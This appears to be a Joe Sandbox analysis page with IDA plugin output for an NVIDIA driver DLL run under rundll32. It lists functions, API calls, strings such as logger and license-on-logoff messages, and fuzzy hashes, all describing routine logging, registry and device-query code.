Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_$__std_exception_copy
String ID: returned $RegistryException:
API String ID: 3384336446-434066331
Opcode ID: 00755f9cf649a541bb6ffdbe0a6f89ec2a048edb149ce880b7e54dc54dc62ce7
Instruction ID: 115bbf5bf24f53f2977637211e415c9119632a10edda4f059ad5fb8bb25e2927
Opcode Fuzzy Hash: 00755f9cf649a541bb6ffdbe0a6f89ec2a048edb149ce880b7e54dc54dc62ce7
Instruction Fuzzy Hash: 4A41AB72B0AA41A9FB04CFA5E8401EC3336EB447D8F404036CA5E63BAADF38D559C358

Function 00007FF8A8D09570 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8A8D096A4

Part of subcall function 00007FF8A8D00A80: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D00AB2

_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D096B4

Part of subcall function 00007FF8A8DC1390: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D9B7E3), ref: 00007FF8A8DC140D
Part of subcall function 00007FF8A8DC1390: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D9B7E3), ref: 00007FF8A8DC144C

Strings

DebugOutputLogManager, xrefs: 00007FF8A8D095F1
ClassName, xrefs: 00007FF8A8D095B2, 00007FF8A8D095C1
No LogManager defined with such name, xrefs: 00007FF8A8D09699
StreamManager, xrefs: 00007FF8A8D0964E
FileLogManager, xrefs: 00007FF8A8D09620

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Exception$DeallocateFileHeaderRaiseThrow__std_exception_copystd::_std::invalid_argument::invalid_argument
String ID: ClassName$DebugOutputLogManager$FileLogManager$No LogManager defined with such name$StreamManager
API String ID: 2903377776-1756275191
Opcode ID: c4426073df8bf17878242d3d365278b24583b98ba0d4c22a861248d6dc48f0be
Instruction ID: 15dee3f6fc32f60beb63091e8f36144e925e44ff472de8af4a48ee76ab4ecfbe
Opcode Fuzzy Hash: c4426073df8bf17878242d3d365278b24583b98ba0d4c22a861248d6dc48f0be
Instruction Fuzzy Hash: 72414C32A0AA02F8EB10EB61D8512F83365EF447D8F815131DA2D476A5EF3DE568C368

Function 00007FF8A8DBC460 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00007FF8A8DBC449), ref: 00007FF8A8DBC4A9
GetLastError.KERNEL32(?,?,?,00007FF8A8DBC449), ref: 00007FF8A8DBC4B3
GetLastError.KERNEL32(?,?,?,00007FF8A8DBC449), ref: 00007FF8A8DBC4DF

Part of subcall function 00007FF8A8DBADF0: _Init_thread_footer.LIBCMT ref: 00007FF8A8DBAE4A

RemoveDirectoryW.KERNEL32(?,?,?,00007FF8A8DBC449), ref: 00007FF8A8DBC518
GetLastError.KERNEL32(?,?,?,00007FF8A8DBC449), ref: 00007FF8A8DBC522
GetLastError.KERNEL32(?,?,?,00007FF8A8DBC449), ref: 00007FF8A8DBC54E

Strings

boost::filesystem::remove, xrefs: 00007FF8A8DBC4E9, 00007FF8A8DBC558

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorLast$DeleteDirectoryFileInit_thread_footerRemove
String ID: boost::filesystem::remove
API String ID: 755209694-3435932043
Opcode ID: b64bcb777294a3ce97eee687f9109f358c09142d434cbb4407fc3cf7f26453ea
Instruction ID: 2721991c0055cc7e54ffcaa0dc22feb4712fd2a1ba28f029afaa7fbd2b5cc719
Opcode Fuzzy Hash: b64bcb777294a3ce97eee687f9109f358c09142d434cbb4407fc3cf7f26453ea
Instruction Fuzzy Hash: 01318361A1A182A9FF640B69944C2B92391FF15BD4F640032C92CC3691EF3CFA9C827C

Function 00007FF8A8D07CB4 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 200COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8A8D07E9E
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D07FAD

Strings

c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\Logger.h, xrefs: 00007FF8A8D07DC6, 00007FF8A8D07DD5
system, xrefs: 00007FF8A8D07E27, 00007FF8A8D07E36
Nvidia::Logging::Logger::Logger, xrefs: 00007FF8A8D07DF2, 00007FF8A8D07E01
could not convert calendar time to local time, xrefs: 00007FF8A8D07E93

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Ios_base_dtorstd::invalid_argument::invalid_argumentstd::ios_base::_
String ID: Nvidia::Logging::Logger::Logger$c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\Logger.h$could not convert calendar time to local time$system
API String ID: 3568783628-2048051025
Opcode ID: 5b125194a3b6fbd640f5732ddd7af8216da403e2aec9da76d1aaa13bfb246306
Instruction ID: 47434af915c0dd2153128e5c3a8dd823063a2c9e07402a74122ee4bed1edc6ed
Opcode Fuzzy Hash: 5b125194a3b6fbd640f5732ddd7af8216da403e2aec9da76d1aaa13bfb246306
Instruction Fuzzy Hash: B6917A32A1AB82A5EB10DF21E8401ED33B4FB847D8F800136EA5D17B99EF39D559C364

Function 00007FF8A8D2FBA0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

WTSEnumerateSessionsW.WTSAPI32 ref: 00007FF8A8D2FD0B
WTSFreeMemory.WTSAPI32 ref: 00007FF8A8D2FD55

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Part of subcall function 00007FF8A8D2F90C: lstrcatW.KERNEL32 ref: 00007FF8A8D2F96C
Part of subcall function 00007FF8A8D2F90C: SHDeleteValueW.SHLWAPI ref: 00007FF8A8D2F984
Part of subcall function 00007FF8A8D2F90C: SHDeleteValueW.SHLWAPI ref: 00007FF8A8D2FA8A

Strings

ReturnLicenseOnSessionLogoff, xrefs: 00007FF8A8D2FC6A, 00007FF8A8D2FC79, 00007FF8A8D2FDC0, 00007FF8A8D2FDCF
NvXDCore.cpp, xrefs: 00007FF8A8D2FC3D, 00007FF8A8D2FC4C, 00007FF8A8D2FD93, 00007FF8A8D2FDA2
Releasing lease during session logff : , xrefs: 00007FF8A8D2FDE8
License to be returned on session logoff: , xrefs: 00007FF8A8D2FC92

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DeleteValue$EnumerateFreeInit_thread_footerMemorySessionslstrcat
String ID: License to be returned on session logoff: $NvXDCore.cpp$Releasing lease during session logff : $ReturnLicenseOnSessionLogoff
API String ID: 3566551686-1588682423
Opcode ID: 89394ad219414ea1eda7d1833e9640e5cda7d38ad91ebd8383589c79d5e3b979
Instruction ID: 27add6e55bfd1afeb04c61fe14bd152a4529573872c0065a13a9fc9091224784
Opcode Fuzzy Hash: 89394ad219414ea1eda7d1833e9640e5cda7d38ad91ebd8383589c79d5e3b979
Instruction Fuzzy Hash: 31910932B06B42AAE711DF61E4401EC33B5FB44788F405536DA5D27B69EF38E129C358

Function 00007FF8A8CFD5C8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

SetupDiGetDeviceInstanceIdW.SETUPAPI ref: 00007FF8A8CFD625
GetLastError.KERNEL32 ref: 00007FF8A8CFD62F
SetupDiGetDeviceRegistryPropertyW.SETUPAPI ref: 00007FF8A8CFD691
GetLastError.KERNEL32 ref: 00007FF8A8CFD69B

Strings

NDERP_DEVID, xrefs: 00007FF8A8CFD63D, 00007FF8A8CFD6E7
NDERP_GPU_NAME, xrefs: 00007FF8A8CFD6A6, 00007FF8A8CFD725

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DeviceErrorLastSetup$InstancePropertyRegistry
String ID: NDERP_DEVID$NDERP_GPU_NAME
API String ID: 4016996502-1684991087
Opcode ID: 5c12baaee5edd9489b6348ea5daa4417e27e7cca9e10c216e82b9e699b45b1b1
Instruction ID: 05d521a357c40c82430e1893a229779b5557b933d9abbbe8af13166535269781
Opcode Fuzzy Hash: 5c12baaee5edd9489b6348ea5daa4417e27e7cca9e10c216e82b9e699b45b1b1
Instruction Fuzzy Hash: 8A41B461A1EA81A1EB10EB66E8442FA6365FF85BD0F844032DF9D43B55DF3CE50AC718

Function 00007FF8A8CFC4CC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 94librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8A8CFC53A
LocalAlloc.KERNEL32 ref: 00007FF8A8CFC5AB
GetLastError.KERNEL32 ref: 00007FF8A8CFC5BC

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

LocalFree.KERNEL32 ref: 00007FF8A8CFC5FA

Strings

RegQueryValueExW, xrefs: 00007FF8A8CFC530
Advapi32.dll, xrefs: 00007FF8A8CFC508

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Local$AddressAllocConditionErrorFreeInfoLastMaskProcVerifyVersion
String ID: Advapi32.dll$RegQueryValueExW
API String ID: 3707099831-295176829
Opcode ID: 3b1918feed5cdcf811039015ee0c203f6dbd9f2afb8276c003aca7cd37809b0a
Instruction ID: 7c0927bf4d93a346a51f7b7f64b7e80a4d55bd7d5a49a95c7cebaeec2e6f5237
Opcode Fuzzy Hash: 3b1918feed5cdcf811039015ee0c203f6dbd9f2afb8276c003aca7cd37809b0a
Instruction Fuzzy Hash: 0B415271B1AB12A2FB948B11A85067972A0FB58BC4F484035EA4D47754EF7CE9218B68

Function 00007FF8A8D09438 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8A8D09538

Part of subcall function 00007FF8A8D00A80: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D00AB2

_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D09548

Part of subcall function 00007FF8A8DC1390: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D9B7E3), ref: 00007FF8A8DC140D
Part of subcall function 00007FF8A8DC1390: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D9B7E3), ref: 00007FF8A8DC144C

Strings

No LogPrinter defined with such nume., xrefs: 00007FF8A8D0952D
XMLLogPrinter, xrefs: 00007FF8A8D094EB
ClassName, xrefs: 00007FF8A8D0947A, 00007FF8A8D09489
SimpleTextLogPrinter, xrefs: 00007FF8A8D094B9

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Exception$DeallocateFileHeaderRaiseThrow__std_exception_copystd::_std::invalid_argument::invalid_argument
String ID: ClassName$No LogPrinter defined with such nume.$SimpleTextLogPrinter$XMLLogPrinter
API String ID: 2903377776-3681829448
Opcode ID: 3047caec9a1ebb199cdd8f96b7ca8cb83d8ba6ed920aecadf12f31988e93eda1
Instruction ID: 7083d4e1eaa17e2706898aa2073aa5bd09e2862bc6dfe49bb2483c2d15918116
Opcode Fuzzy Hash: 3047caec9a1ebb199cdd8f96b7ca8cb83d8ba6ed920aecadf12f31988e93eda1
Instruction Fuzzy Hash: E6317E32A0BA42B8EB10EF61D8912EC2371EF447D8F811531DA2E57696EF3DE518C358

Function 00007FF8A8CFE3B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF8A8CFE3F3
GetProcAddress.KERNEL32 ref: 00007FF8A8CFE408
RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8CFE468
RegCloseKey.ADVAPI32 ref: 00007FF8A8CFE47A

Strings

RegOpenKeyTransactedW, xrefs: 00007FF8A8CFE3FE
Advapi32.dll, xrefs: 00007FF8A8CFE3EC

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: c8e40227ea93570c894c3257a732f5e36d0e2c3d26c8cd2adc3fe59e8dea6017
Instruction ID: 8d6763f5adc0931329c39658ac2746c21f2a1c7ec62f102192fe6f79adf389e2
Opcode Fuzzy Hash: c8e40227ea93570c894c3257a732f5e36d0e2c3d26c8cd2adc3fe59e8dea6017
Instruction Fuzzy Hash: CE318132A0AB4296FB51DF56E81032967A0FB84BC4F084135DE8D0BB54DF7CE951CB18

Function 00007FF8A8DB6E08 Relevance: 9.2, APIs: 6, Instructions: 212COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF8A8DB6E78
MultiByteToWideChar.KERNEL32 ref: 00007FF8A8DB6F39
__crtCompareStringEx.LIBCPMT ref: 00007FF8A8DB6F5E
__crtCompareStringEx.LIBCPMT ref: 00007FF8A8DB6FA5
__crtCompareStringEx.LIBCPMT ref: 00007FF8A8DB7052
WideCharToMultiByte.KERNEL32 ref: 00007FF8A8DB7090

Part of subcall function 00007FF8A8DDCDC0: HeapAlloc.KERNEL32(?,?,?,00007FF8A8DDCE3D,?,?,00000000,00007FF8A8DCD4E3,?,?,?,00007FF8A8DDC6EF,?,?,?,00007FF8A8DDC5E5), ref: 00007FF8A8DDCDFE

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide__crt$AllocHeap
String ID:
API String ID: 3104693799-0
Opcode ID: e554589ce4c0a784027f7e8b14f4731f03de580504056812860894e7a5514fc0
Instruction ID: 2e8d91caec43f8ebf53b4f794e49f1e87092b425819c61201dafa92dbc4564a6
Opcode Fuzzy Hash: e554589ce4c0a784027f7e8b14f4731f03de580504056812860894e7a5514fc0
Instruction Fuzzy Hash: 0581A432B0A7429BEF248F25D444A7962A1FF44BE8F144636EA2D47BC5DF3CE5098724

Function 00007FF8A8D75E30 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF8A8D75ECA
WideCharToMultiByte.KERNEL32 ref: 00007FF8A8D75F55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D75FB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D75FBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D75FCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D75FDA

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharMultiWide
String ID:
API String ID: 469901203-0
Opcode ID: d83811cde9e9b156d4a607af37dc42f73d06dcad2c02b179441610010b2369ea
Instruction ID: 74d890327b0131c74142a519ae56f610831430cb97dc7b5bf6e7586b1e7be40f
Opcode Fuzzy Hash: d83811cde9e9b156d4a607af37dc42f73d06dcad2c02b179441610010b2369ea
Instruction Fuzzy Hash: CC51C232A0AB8155E7249B25B80036AA6A1FB457F0F240B34D7BD43BE5CF3CE4958319

Function 00007FF8A8D64318 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 246COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D6458A
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D6459E
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D64677

Strings

dkT, xrefs: 00007FF8A8D64557
dkT, xrefs: 00007FF8A8D6447C

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

